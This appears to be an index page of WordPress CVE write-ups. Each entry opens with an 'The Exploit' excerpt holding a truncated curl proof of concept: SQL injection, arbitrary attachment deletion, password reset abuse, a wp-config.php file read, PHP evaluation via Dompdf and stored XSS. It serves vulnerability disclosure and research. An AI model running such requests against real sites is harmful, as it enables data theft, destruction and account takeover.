Articles

§06 · Field notes

CVE · PLUGINS · ZERO-DAYS
GitHub

CVE-2026-63030: wordpress-develop

## The Exploit An unauthenticated attacker can perform SQL injection via the `author__not_in` parameter in any REST API endpoint that passes user input to `WP_Query`. The following curl request demonstrates the injection against the default `/wp/v2/posts` endpoint. ```bash curl...

GitHub

CVE-2025-13722

## The Exploit Attacker needs any authenticated WordPress account with Subscriber-level access or higher. ```bash curl -i -X POST "https://TARGET/wp-admin/admin-ajax.php" \ -H "Content-Type: application/x-www-form-urlencoded" \ -H "Co...

Read article →
GitHub

CVE-2025-14047

## The Exploit Unauthenticated attacker can delete arbitrary media attachments by POSTing `attachments_to_delete[]` directly to the plugin's AJAX submit endpoint. ```bash curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \ -H 'Co...

Read article →
GitHub

CVE-2025-14627

## The Exploit Authenticated Contributor-level attacker. ```bash curl -i -X POST 'https://TARGET/wp-admin/admin-ajax.php' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'action=smack_upload&securekey=NONCE_VALUE&url=h...

Read article →
GitHub

CVE-2025-14998

## The Exploit Unauthenticated attackers can abuse the Branda login-screen signup-password flow to change a user password by POSTing `password_1` and an activation `key`. ```bash curl -i -s -X POST 'https://TARGET/wp-login.php?action=acti...

Read article →
GitHub

CVE-2025-14913

## The Exploit Unauthenticated attacker only needs `media_id` and the attachment upload timestamp to delete any attachment. ```bash TARGET=https://TARGET_HOST MEDIA_ID=123 MEDIA_KEY=$(python3 - <<'PY' import hashlib print(hashlib.md5(b"17...

Read article →
GitHub

CVE-2025-14635

## The Exploit Attacker needs authenticated Contributor-level access or above. ```bash curl -i -X POST "https://TARGET_HOST/wp-admin/admin-ajax.php?action=elementor_ajax_save" \ -H "Content-Type: application/x-www-form-urlencoded" \ -...

Read article →
GitHub

CVE-2025-14388

## The Exploit No authentication is required. ```bash curl -i 'http://TARGET/wp-content/plugins/phastpress/sdk/phast.php?url=/wp-config.php%2500.txt' ``` The vulnerable server returns HTTP 200 and dumps the contents of `wp-config.php` in...

Read article →
GitHub

CVE-2025-13773

## The Exploit An unauthenticated attacker can force the plugin to render attacker-supplied HTML through Dompdf with PHP evaluation enabled. ```bash curl -sS -X POST "http://TARGET/wp-admin/admin-ajax.php" \ -H "Content-Type: applicatio...

Read article →
GitHub

CVE-2025-14548

## The Exploit Authenticated attacker with Contributor-level access (or higher) can persist JavaScript in `event_desc` and trigger it when a calendar page is viewed. ```bash # Store the malicious event description curl -i -k \ -H "Conte...

Read article →